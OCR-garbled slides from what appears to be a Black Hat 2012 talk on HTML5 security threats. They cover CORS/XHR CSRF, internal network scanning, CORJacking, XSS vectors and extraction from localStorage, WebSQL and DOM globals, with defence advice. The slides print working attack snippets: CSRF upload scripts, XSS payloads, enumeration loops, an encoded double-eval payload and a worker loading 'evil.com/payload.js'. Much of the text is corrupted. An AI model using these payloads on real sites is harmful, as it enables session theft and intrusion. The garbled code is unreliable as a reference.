HTMLS Top 10 Threats
Stealth Attacks and Silent Exploits
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. HTMLS Evolutlon Threats and Trends
 Top 10 Threats (Silent & Stealth)

— Demos, Tools and Vectors

e Conclusion and Questions
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2012 Securlty
Predictions

2011 proved | X. HTML5 offers five times the ways to hijack
security. The = your website

rememberay — - "

incidents and : H T M |_5 d S ty

disastrous bri el a n e C u rl

RSA, and Son : '

TDLJaM Du ng ago that the On the New Web

S Ly pac AL it 51 - are great, "they radically change the attack model for the browser. We
romise always hope new technologies can 2 aversas of attack.

Unfortunately, they can also presegt new opportunitiey for
cybercriminals.”

Ghost of HTMLS future: Web browser botnets
With great power comes great responsibility ... to not pwn the interweb
-~ ~~*more from this author
Evolution of HTML5 rity, 27th April 2012 08:01 GMT
1991 — HTML started (plain and simple)
1996 — CSS & JavaScript (Welcome to world of XSS and browser security)
2000 — XHTML1 (Growing concerns and attacks on browsers)
2005 — AJAX, XHR, DOM — (Attack cocktail and surface expansion)
2009 — HTMLS5 (Here we go... new surface, architecture and defense) —

HTML+CSS+JS
blackh=t
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Server side
Components

. Silverlight
\ Presentation Layer “NET

Business l.ayer

iént side
Data Access Layer Components

Authentication (Browser)
Communication etc.

Runtime, Platform, Operating System Components

blackhat
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HTM LS

Taxonomy & Status (December 2011)

W3C Recommendation
Candidate Recommendation
Last Call

Working Draft

Non-W3C Specifications

Deprecated W3C APIs

Animation

Timing Device
Orientation

Source: http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by-
Sergey-Mavrody.png

Source: http://htm|5demos.com/

Evolution going on by Web Hypertext Application Technology Working Group
(WHATWG)

y

Simple class manipulation
Storage events

dataset (data-* attributes)
History APl using pushState

Browser based file reading Mot part of
HTMLS

Drag files directly into your browser Mot
directly part of HTMLS

Simple chat client

Two videos playing in sync
Interactive canvas gradients
Canvas & Video

Video

Canvas

Content Editable

Geolocation Works on Safari Mobile too
postMessage same domain
postMessage cross domain

drag and drop

drag anything

offine detection Works on Safari Mobile too

navigator.onLine tests Doesntuse events,
only polls

onfoffline event tests

offline application using the manifest FF 3.6
is still buggy - doesnt request manifest after
initial load

Storage
Web SQL Database Storage
Web SQL Database - rollback test

Web Waorkers watch out- uses a lot of CPU!
example without - will hang your browser
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e CORS Vectors
e Ul Redressing
e DOM Attacks
e APIs

e \Web Messaging & XHR
e Storage, File and Cache
e \WebSQL and IndexedDB
e \Web Workers

leck hat
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../Web-2.0-Demos/HTML5-Sample-App/HTML5-sample.htm
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XHR Level 2

 XHR object of HTMLS is very powerful

— Allows interesting features like cross origin
request and binary upload/download

e xhr.responseType can be set to "text",
"arraybuffer”, "document” and "blob“

* Also, for posting data stream - DOMString,
Document, FormData, Blob, File, ArrayBuffer
etc...




CORS & XHR

———t 5
' \

Before HTMLS5 — Cross Domain was not
possible through XHR (SOP applicable)

HTMLS5 — allows cross origin calls with XHR-

Level 2 calls

CORS — Cross Origin Resource Sharing needs
to be followed (Option/Preflight calls)

Adding extra HTTP header (Access-Control-
Allow-Origin and few others)
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HTTP Headers

> _—-———————“
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* Request
Origin
Access-Control-Request-Method (preflight)
Access-Control-Request-Headers (preflight)

* Response

Access-Control-Allow-Origin

Access-Control-Allow-Credentials
Access-Control-Allow-Expose-Headers
Access-Control-Allow-Max-Age (preflight)
Access-Control-Allow-Allow-Methods (preflight)
Access-Control-Allow-Allow-Headers (preflight)

black h=t
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XHR Stealth threats

 CSRF - powered by CORS and XHR

— Hence, allow stealth channel and possible silent
exploitation

— One way CSRF with any stream since XHR allows
raw stream from browser (XML, JSON, Binary as
well)

— Two way CSRF (POST and read both — in case of
allow set to *)
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CORS preflight bypass — certain Content-Type
oypass preflight HTTP

~orcing cookie replay by “withCredentials”
nternal network scanning and tunneling

nformation harvesting (internal crawling)
Stealth browser shell — post XSS (Allow origin- *)

Business functionality abuse (upload and binary
streams)




CSRF with XHR/HTMLS,
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Authentication
User Server
establishing

Session

1 Login reguest (HTTPS) >

 —T T —

Web Store Database
Application Server
Server

Client/Victim
Browser




Browser using

XHR Ca_‘” Authentication
JavaScript User making a Server

buy over
HTTP

| Placing an order (JSON services) >

 — e —

Web Store Database
Application Server
Server

Client/Victim
Browser




Attacker’s
Site Authentication

Server

Session is still
live — not yet

logged out /

Web Store Database
Application Server
Server

Client/Victim
Browser

Leveraging XHR Call
* Content-type to avoid pre flight
* “withCredentials” set to true




"u

-

- |CSRF & HTMLS

<script 1 ="javascript" tyvpe="text/javascr

function getMe ()
{
var http:;
http = new XMLHttpRequest() :

.SetRequestHeader
.withCredentials=
http.onreadystatechange = function()
{
if (http.readyState = 4) {
var response = http.responseText;
document.getElementById(’'result’') .innerHTML = response;

}
http.send(

}

getMe() ;
</script>

LSA EI:I’] —



Attacker’s
Site Authentication

Server

XHR initiates HTTP buy request

T Y —

Web Store Database
Application Server
Server

Hence,
* Without victim’s consent or notice °
(-]

* Stealth HTTP request generated °
* Silent Exploitation takes place “@'

Client/Victim
Browser



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CSRF/JSON-buy/JSON-CSRF-XHRL2.htm
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method
GET
POST ryice.ashx

n.html
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Powerful XHR- LeveI 2 caII aIIows file upload on
the fly.

Interestingly — possible to craft file through
JavaScript and post on the server — if CSRF token
IS not there.

Example, your profile is having a photograph of
yours and you visit attacker site that photo
changes to something else

More serious threat, exploiting actual business
functionalities...
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Client/Victim
Browser
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~ CSRF with XHR/HTMLS,
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Browser is
having Form
(multi-part)

'

Business layer
function of
uploading

| Uploading bulk orders >

POST /user_upload.aspx HTTP/L.L

Products ( 1.0 | XML | Flash | 350N | Sliverlight | AMF | HTMLS )

Shreeraj Shah (U=10001) Main | Mew Order | Order Status | Profile | Blog | Logout

upload your order form

| uplead | Processing uploaded order...

o= 1N

Authentication
Server

Web Store Database
Application Server
Server
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»"CSRF/UpIoad POC ..

H N P e 3

Shreeraj Shah (U=10001) Main | Mew Order | Order Status | Profile | Blog | Logout

upload your order form | Bror

| Up d | Processing uploaded order...

HTTP/ 1.1

="FILELl"; filename
2 am

LUSA 2012



CSRF with XHR/HTMLS,

—_— =

neep. open( , "hcep
nttp. setRequestHeader(

O A oo (e (oo & TR 0 ,, Attacker’s
o Site Authentication

Server

nttp. send (body) 4

scripe>

Web Store Database

Application Server

Client/Victim
Server

Browser

Hence,
* Without victim’s consent or notice

* Stealth HTTP Upload takes place  jo°
* Silent Exploitation... “@'
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script>
var stream =
var boundary
var file =
http = new XMLHttpRegquest () ;

http.open{"POST™, "http
http.setRequestHeader {"Content et ™ o ” I 1, E ry="+boundary}) ;

http.setRequestHeader ("C

http.withCredentials=

var body = boundary +
body 4= '"Content-Dispos

body 4=

]CDd},-" = LA A% L Claw | palainz lnedugis Nes

FOST fuser_upload.aspx HTTF/1.1
Host: L192.168.100.21
User-Agent: Mozilla/5.0 (Windows NT £.1; rv:8.0.1) Gecko/20100101 Firefox/2.0.1
Accept: text/html,application/xhtml+xml, application/=xml;q=0.9,*/*:¢q=0.8
Lecept-Language: =sn-us,=sn;c=0.5
Aecept-Encoding: gzip, deflate
£ Accept-Charset: I30-8855-1,ucf-8;c=0.7, *:;q=0.7
oxy-Connection: keep-aliwve
ontent-Type: multipart/form—data; charset=UTF-3, 1460435902153
Eeferer: http://192.168.100.&/upload/csrf-up.html
Content-Length: 255
Origin: http://192.168.100.6
cokie: cid=10001; DemoTrading=l990bShi9dd=249a38££c352£7h3etllh; ASP.NET Sessionld=3ifeql450Zukzijxz
JSESSICNID=8ESSELIDE IDFAFETCEFS7AFEOSALOSDLS -
Pragma: no-cache
Cache-Control: no-cache

body 4= boundary +

zend (body) ;

148043502153
ontent-Disposition: form-data; name="FILEL"; filename="order.prod
Content-Type: application/octet-stream

ient: AEC inc.
yFinding Nemo
yBend it like
14€043902153—-



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CSRF/upload/upload-CSRF.htm

Crawl for CORS

M‘

¢script>
for(i=20;:i<=25;4

i target = "http://192.168.100."+i+"/" 7\ AttaCker'S

st = scan (cargec}

if(st==true) S't
status 4= "<br>"+target+” (Access-Control-Allow-Origin:---->"4sts)"; Ite

document . getElementById (' result') . innerHTHML = status
1
¢/script>

http = new XMLHttpRequest () ;
http.open("GET", url, false):
http.send()
retwrn true:

catch(err)
{

return false:

1

& i} 192168100.6/portscan/scan.htm

Cl|ent/V|ct|m @ Dissble- L Cookies ' €55 =] Forms~ 5 Images~ () Information- L3 Mi:

Browser Scan results
http://192.168.100.21/(Access-Control- Allow- Origin:---->true)

Internal Web/App Internal Web rtelr‘nal .HR
Server Mail pplication




al Scan fo

Tfunction scan{url) = crinte

{
try
{

target = "http

2t = =can({target)

http = new XMLHttpRequest () ;
http.open {("GET", url, false):

if({st=true)
status += "<br>"+target+" (Access-Control- 0
http.send() document .getElementById (' result') .innerHIHML = status
return trues;

} fEcript> —

catch(err) 6 L1 1921681006/ portscan/scan.htrm

{

ret o ) Disable- _l_ Cockiess # C55 = Forms- & Images- ‘_j Information~ £ Mi

Scan results

http=//192.168.100.21/{Access-Control- Allow-Origin:--- - >true)

hex | html render

HTTF/1.1 200 OK

Date: Thu, l& Feb Z0L1lZ 07:ZZ2:58
Aocess-Control-Allow-Origin: *

Server: Microsoft-1I13/€.0
X-FPowered-By: ASP.NET
H-Asplet-Version: 2.0.50727
Cache-Control: priwvate

Content-Type: text/html; charset=utf-g8
Content-Length: 13456

<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<titlexStore</titler</headr<body class="hackground":>



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORS-Scan/Scan-Cors.htm
D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORS-Scan/Crawl-Cors.htm
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= IFile APIs & XHR

v —

————

* |tis possible to use File APl to power XHR
calling or possible abuse

* Uploading/drag-drop for file and directory are
possible

* Hence, it is possible to force user by bluff to
click on selecting download folder and then
actually uploading content of folder on server

— Browsers are supporting these calls
— Another attack surface opening via File APIs




L b
- N

NN\

Scan and Defé,hd
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2.

e Scan and look for
— Content-Type checking on server side
— CORS policy scan
— Form and Upload with tokens or not

e Defense and Countermeasures

— Secure libraries for streaming HTML5/Web 2.0
content

— CSRF protections
— Stronger CORS implementation
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R-Jacking

————

* Ul Redressing (Click/Tab/Event Jacking) attack vectors
are popular ways to abuse cross domain HTTP calls

and events.

HTML5 and RIA applications are having various
different resources like Flash files, Silverlight, video,

audio etc.

If DOM is forced to change underlying resource on
the fly and replaced by cross origin/domain resource
then it causes Cross Origin Resource Jacking

(CROJacking).
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frame is having new attributed called sandbox

t allows frame isolation

Diabling JavaScript on cross domain while loading
— bypassing frame bursting script

— <iframe src="http://192.168.100.21/"
sandbox="allow-same-origin allow-scripts" height=

width="x"> - Script will run..
— <iframe src="http://192.168.100 !
sandbox="allow-same-origin" keight="500"

width="500"> - script will not run — ClickJacking

II "
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CO RJackl ng.

It is possible to have some integrated attacks
— DOM based XSS

— Single DOM usage/One page app

— Flash

DOM based issue can change flash/swf file — it can

be changed at run time — user will not come to
know ..

Example

— document.getElementsByName(“login").item(0).src =
"http://evil/login.swf"

blackhat

LUSA 2012




Possible with other types of resources as well

* Also, reverse CORJacking is a possible threat

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="Login" width="100%" height="1000%"
codebase="nhttp://fpdownload.macromedia.com/get/flashplayer/current

<param name="movie" ="Login swE"™ /»d

<param name="quality" value >

<param name="bgcolor" wvalue= "#_69ca?" />

<param name="allowScriptAccess" value="sameDcma1:" />

<embed src="Login.swi" quality bgcolor="#86%ca7"
width="50%" height="503%" name=" ogin”" align="middle"”

2| 1 o ! Consolev | HTML (SS Script DOM Net Shared Objects Flasl

Clear Persist Profile ‘ Al Errors Warnings Info  Debug Info document.getElementsByName ('Legin') .item(0) .sxc

€© syntax error
1 E Login....t("hi") (line 57)
{'Legin') .item({0) .sxrc

f£lex/testHelloWorldl/Login. 51—::]2

Run Clear Copy History
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~ Double eval — eval the eval

* Payload -
document.getElementsByName('Login').i
m(0).src="http://192.168.100.200:8080/flex/

Loginn/Loginn.swf’

* Converting for double eval to inject “ and “

etc...

— eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,103,
101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,
39,76,111,103,105,110,39,41,46,105,116,101,109,40,48,41,46,115,
114,99,61,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49
,48,48,46,50,48,48,58,56,48,56,48,47,102,108,101,120,47,76,111,1
03,105,110,110,47,76,111,103,105,110,110,46,115,119,102,39))

blackhat

LUSA 2012



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-CORJacking/flashjacking.htm
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2.

 Scan and look for

— ClicklJacking defense code scanning
— Using X-FRAME-OPTIONS

 Defense and Countermeasures

— Better control on CORS

— Creating self aware components and loading after
checking the domain
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HTM L5 Tags/Attrlbutes/ Events

C———

* Tags — media (audio/video), canvas
(getimageData), menu, embed,
buttons/commands, Form control (keys)

e Attributes — form, submit, autofocus, sandbox,
manifest, rel etc.

* Events/Objects — Navigation (_self), Editable
content, Drag-Drop APIs, pushState (History)
etc.
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XSS varia nts

'_—-———————“
e -

Media tags
 Examples

— <video><source onerror="javascript:alert(1)“>

— <V|deo onerror- |avascr|ot alert(1)"><source>

192.168.100.20/=

Cookiess / S5+ = Forms® (&9 Images- ) Information- £} Miscellaneous~ &* Outline- [/ R

dvds4less

your source far low.-cost dwg

black hat

| |_"—‘ |_| |]|:




XSS varia nts

Epr0|t|ng autofocus

— <input autofocus onfocus=alert(1)>

— <select autofocus onfocus=alert(1)>

— <textarea autofocus onfocus=alert(1)>
— <keygen autofocus onfocus= alert(1)>

192.168.100.20/search.a

Zookies™ /# CSS+ =] Forms [= Images™ ) Information- L4 Miscellaneous~ &~ Out

blackhat

LUSA 2012
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e Form & Button etc.

— <form id="test" /><button form="test"
formaction="javascript:alert(1)">test

— <form><button

formaction="javascript:alert(1)">test

e Etc ... and more ...

— Nice HTML5 XSS cheat sheet
(http://html5sec.org/)
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Scan and Defé,hd
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e Scan and look for
— Reflected or Persistent XSS spots with HTML5 tags

 Defense and Countermeasures
— Have it added on your blacklist
— Standard XSS protections by encoding
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torage Extraction

»

Browser has one place to store data — Cookie
(limited and replayed)

HTMLS5 — Storage API provided (Local and
Session)

Can hold global scoped variables
nttp://www.w3.org/TR/webstorage/

interface Storage {
readonly attribute unsigned long length;
getter DOMString key(in unsigned long index]) ;
getter any getltem(in DOMString key):
Setter creator void getltem(in DOMString key, in any data):
deleter void removeltem(in DOMString key):
void clear():



http://www.w3.org/TR/webstorage/
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torage Extraction

W;eb.5
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It is possible to steal them through XSS or via
JavaScript

Session hijacking — HttpOnly of no use
getltem and setltem calls

</ script>
<zcript type="text/javascript">
localStorage.setltem| 'hash', "lfedf2l8ccldi8difécackblac3iledifcc');
function ajaxget ()
{
var mygetrequest=new ajaxRequest ()
mygetrequest.onreadystatechange=function() {
if (mygetrequest.readyitate==4)

XSS the box and scan through storage

iy

¢
b'ack s

LISA 2012
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" Blind storage enumeratlon

’*_‘A
T e
.-.___gt.?.-. .
)

if(localStorage.length){

console.log(localStorage.length)

for(i in localStorage){
console.log(i)
console.log(localStorage.getitem(i));

}

* Above code allows all storage var|ab|e
extraction



D:/Trainings/Web2.0-2010/Web-2.0-Demos/HTML5-localStorage/HTML5-localStorage.htm

m Storage

o — ¢ ¥

e HTMLS provides virtual file system with
filesystem APIs

— window.requestFileSystem =
window.requestFileSystem | |
window.webkitRequestFileSystem;

It becomes a full blown local system for
application in sandbox

It empowers application
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* |t provides temporary or permanent file
system

function init() {
window.requestFileSystem(window. TEIMPORARY, 1024*1024,
function(filesystem) {
filesys = filesystem;
}, catcherror);

}
* App can have full filesystem in place now.

iy
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Sensitive information filesystem _
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* Assuming app is creating profile on local
system

15 function profile () {
16 filezy=s.root.getFile('profile', {create: true}, function{entry) {

1 entry.createWriter{functiaon{writer) {
var myblob = new window.WebEitBlobBuilder() ;
myblob.append {"Token: 091232432 , name : Jack, auth: true
writer.write (myblob.getEBElob('text,/plain'}}
} ;catcherror) ;
} ;rcatcherror) ;

http//localhost/temporan & C N @ filesystem:http://localhost/temporar

Token: 091232432, name : Jack, auth:true

Date Modified
6/19/12 2:22:10 PM
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ough XSS,
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* Once have an entry point — game over!

Hfunction getProfile() {

filesy=.root.getFile('profile', {}, fonction{entry) {
entry.file(functicon(file) {
rvar reader = new FileBReader() :;
reader.onloadend = function{e) {
alert {this.result) ;
i:
reader.readfAsText(file) ;
}» catcherror) ;
}; catcherror) ;

& The page at localhost says:

Token:091232432 name:lack, auth:true

bl e

timima TTE Mmm— e
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= | DOM Storage

PS——

Applications run with “rich” DOM

JavaScript sets several variables and parameters
while loading — GLOBALS

It has sensitive information and what if they are
GLOBAL and remains during the life of application

t can be retrieved with XSS

HTTP request and response are going through
JavaScripts (XHR) — what about those vars?
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=Blind Enumeération
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for(i in window){
obj=windowli];
try{
if(typeof(obj)=="string"){
console.log(i);

console.log(obj.toString());

}
}catch(ex){}

LUSA 2012
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e HTML5S apps running on Single DOM

* Having several key global variables, objects
and array

— var arrayGlobals =
['my@email.com’,"12141hewvsdr9321343423mjf
dvint","test.com"];

* Post DOM based exploitation possible and
harvesting all these values.
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- Global Sensitive Information Extraction from:DOM
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PeOS————

5
for(i in window){
obj=window[i];
if(obj!=null| | obj!=undefined)
var type = typeof(obj);
if(type=="object" | [type=="string")
{

console.log("Name:"+i)

try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}

HName:arrayGlobals
["myiemail com”, "1Z14lhewvsdr33213434Z3mjfdvint™, "test . com™]
Name: jsonzlobal

{"firstName" :"John", "lastName™: "Smith"™, "address™: {"streetBddress™:"21 Znd Street™,"city":"Hew
York™, "state":"NY¥", "postalCode™:10021}, "phoneNumbers™: ["212 T32-1234™ "&4& 123-4587"1}

Name:stringElobal

"tegst@test.com”

LUSA 2012
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= Scan and Defend
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e Scan and look for

— Scanning storage

 Defense and Countermeasures

— Do not store sensitive information on localStorage
and Globals

— XSS protection

iy

¢
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WebSQL is part of HTML 5 specification, it
provides SQL database to the browser itself.

Allows one time data loading and offline

browsing capabilities.
Causes security concern and potential
Injection points.

 Methods and calls are possible

openDatabase

executesq|
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SQL Injection

r e . *

\

Through JavaScript one can harvest entire
local database.

Example

_*:':} Elements | LJ Resources | {'3 Metwork | ﬁ Scripts -ﬂ Timeline \“ Profiles gﬁaud'rts 9 Conzole

> ] Frames s SELECT * from Trans

¥ | |Databases i =
1 100001 Transfer to John
100002 Transfer to Bob

» F| Local Storage

» 1| Session Storage
» |5 Cookies

| EijAppIiu:ﬂtiun Cache

blackhat

LUSA 2012
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 We need following to exploit

— Database object
— Table structure created on SQLite
— User table on which we need to run select query
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var dbo;
var table;
var usertable;
for(i in window){

obj = windowli];

try{

if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){

tx.executeSql('SELECT name FROM sglite_master WHERE
type=\"table\",[],function(tx,results){

table=results;

Lnull);

}
}catch(ex){}

}
if(table.rows.length>1)

usertable=table.rows.item(1).name;
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SQL Enumeration

»

 We will run through all objects and get object
where constructor is “Database”

 We will make Select query directly to
sglite_master database

 We will grab 15 table leaving webkit table on
Ot" entry
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» (] Frames
¥ | | Databases
£ Category
¥ i Local Storage
i 192.168.100.27
i | Session Storage
1192.168.100.27

2y Cookies

Blind WébSQL Enumeration

o : '

\

P\

product_desc

There are 2.7 trillion fish in the ocsan, they're looking for one. The Academy Award-winning creators of ..
Who wants to cook Aloo Gobi when you can bend s ball like Beckham?

David Lean's DOCTOR ZHIVAGO is an exploration of the Russ

Once upon s time in India. Lagasn is the st
The Rain is coming.

From the oresators of - The Bridge

An Indian family in London tries ...
ssian Revolution as seen from the point of vi...
An epic of miniature proportions. Life is no picnic for the ants on Ant Island! Each summer, a gang of gre...
ory of a battle without bloodshed fought by a group of unlikel...
.. and so is the Family. An extended Punjabi family gathers for an aranged wedding..

on the River Kwai. Sweeping epic about the real life adventures of T.E...

..
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e Similar to WebSQL — it is available for
applications

e Allows to create database and it is indexed in
store

— indexedDB.open(“transactions");
— db.createObjectStore

* Possible to enumerate like WebSQL and
possible information extraction
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HTMLS is having new interframe
communication system called Web Messaging.

By postMessage() call parent frame/domain
can call with the iframe

Iframe can be loaded on cross domain. Hence,
create issues — data/information validation &

data leakage by cross posting possible

worker.webkitPostMessage — faster
transferable objects
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f postMessage() is set to * so page can be
oaded in iframe and messaging can be
nijacked

Also, origin is not set to fixed then again frame

listen from any domian — again an issue

Stream coming needs to be checked before
innerHTML or eval()

Iframe or Web Worker can glue two streams —
same domain or cross domain




<script>

wWindow.addEventListener ('message', receiwver, false):;
function receiver(e)

i

if (e.origin == 'http://f192.168.100.123")
{
document .getElementById('pl') . innerdTHI= e.data;

else

{

alert ("Different Crigin™):
ffalert (e.data)

</ soript>
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Web Worker — HacksI

. Web Workers aIIows threadmg into HTML
pages using JavaScript

* No need to use JavaScript calls like
setTimeout(), setinterval(), XMLHttpRequest,

and event handlers
* Totally Async and well supported

[initialize] var worker = new Worker('task.js');
[Messaging] worker.postMessage();
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Web Worker

p

Background
Thread on same page
- messaging

blgDCK hat vl
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Web Worker — HacksI
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* Security issues

— It is not allowing to load cross domain worker
scripts. (http:, https:,javascript:,data : -No)

— It has some typical issues

* |t allows the use of XHR. Hence, in-domain and CORS
requests possible

* It can cause DoS — if user get stream to run JavaScript in
worker thread. Don’t have access to parent DOM
though

* Message validation needed — else DOM based XSS

black h=t

|| ’—‘|_||]|:



Web Worker — HacksI

. Exmaple

<html>
<button onclick="Read()">Read Last Message</button>

<button onclick="stop ()">Stop</button>
<output id="result"></output>

<script>
function Read () {
worker.postMessage ({'cmd': 'read', 'msg': 'last'});

function stop () {

worker.postMessage ({'cmd': 'stop', 'msg': 'stop it'});
alert ("Worker stopped");

}

var worker = new Worker ('message.js');

worker.addEventListener ('message', function(e) {

document.getElementById ('result').innerHTML = e.data;
}, false);
</script>
</html>
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kers — Hacksl
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Possible to cause XSS

— Running script
— Passing hidden payload
Also, web workers can help in embedding silent

running js file and can be controlled.

Can be a tool for payload delivery and control
within browser framework

importScripts("http://evil.com/payload.js") —
worker can run cross domain script




L b
- N

= Scan and Defend
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e Scan and look for
— JavaScript scanning
— Messaging and Worker implementation

 Defense and Countermeasures

— Same origin listening is a must for messaging
event

iy

¢
b'ack s
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XPath

Traversal

Range

nnnnnnnnnnn

Validation

HTMLEvents | MutationEvent:

MutationMNameEvenis

KeyboardEvents | TextBEvents

¢

black 2%
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— Depends on

UlEvents

MouseEkvents
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‘DOM based XSS I\/Iessagmg

"_'T- —

* |tis asleeping giant in he AJax applications
coupled with Web Messaging

* Root cause
— DOM is already loaded

— Application is single page and DOM remains same

— New information coming needs to be injected in using
various DOM calls like eval()

— Information is coming from untrusted sources
— JSONP usage
— Web Workers and callbacks

black h=t

|| ’—‘|_||]|:
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Ajax function would be makmg a back-end call

Back-end would be returning JSON stream or
any other and get injected in DOM

In some libraries their content type would
allow them to get loaded in browser directly

In that case bypassing DOM processing...
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= Scan and Defend
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Pepe———— P

* Scan and look for
— DOM calls
— Use of eval(), document.* calls etc.

 Defense and Countermeasures

— Secure JavaScript coding

iy

¢
b'ack s
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HTMLS supports caching pages for offline
usage

<htm| manifest="/appcache.manifest">
List of pages gets stored

Possible to attack and cache poisoning

— Untrusted network or proxy can inject malicious
script

— When you get on to actual app that script gets
executed and keep eye on your activities
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HTIVI 5 Wldgets
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Wldgets/Gadgets/ModuIes — popular with
HTMLS applications

Small programs runs under browser and using
Web Workers and Messaging

JavaScript and HTML based components

n some cases they share same DOM - Yes, same
DOM

t can cause a cross widget channels and
iframe/sandbox




HTMLS — Web Messag n§ and Workers

Setting the trap

blgbok hat
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»

It is possible to access DOM events, variables,
logic etc.

Sandbox is required at the architecture layer to
protect cross widget access

Segregating DOM by iframe may help

Flash based widget is having its own issues as
well

Code analysis of widgets before allowing them to
load
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e HTMLS allows Web Socket APIs — full duplex
TCP channel through JavaScript

e Allows cross domain connection like CORS

 Possible threats
— Back door and browser shell
— Quick port scanning

— Botnet and malware can leverage (one to many
connections)

— Sniffer based on Web Socket
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* Allows internal scanning, setting backward
hidden channel, opening calls to proxy/cache.

* Some browsers have blocked these calls for
. |5 Elements (@i Resources | () Network| O3 scripts (P imeine (T Profies  ( Audits [ gf console
security reason..- .

Headers | Cookies Timing

192.168.100.1 Request URL: ws://192.168.188.1/

| 192.165.100 ¥ Request Headers
192.168.100.1 Connec tion: Upgrade
~‘ Host: 192.168.188.1
- Origin: http://www.andlabs.org
Sec-WebSocket-Key1: 33 8 66 & 7 wB 3~ 5 31
Sec-WebSocket-Key2: 67 1= B7%l % 76 8]
Upgrade: WebSocket
(Key3): BC:11:F@:16:68:BC:58:C8

2 requests | 0B transferred

l:. L ;] [}
blackhat
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HTMLS5 allows custom protocol and schema
registration

Example

— navigator.registerProtocolHandler("mailto",
"http://www.foo.com/?uri=%s", “My Mail");

It is possible to abuse this feature in certain
cases

Browser follows and gets registered for same
domain though
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e HTMLS few other APIs are interesting from
security standpoint

— File APIs — allows local file access and can mixed
with ClickJacking and other attacks to gain client
files.

— Drag-Drop APIls — exploiting self XSS and few other
tricks, hijacking cookies ...

— Lot more to explore and defend...
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Resources/ References
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http://www.htmI5rocks.com/en/ (Solid stuff)

https://www.owasp.org/index.php/HTML5 Se
curity Cheat Sheet (OWASP stuff)

http://htmli5sec.org/ (Quick Cheat sheet)
nttp://html5security.org/ (Good resources)
http://blog.kotowicz.net/ (Interesting work)
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http://html5security.org/
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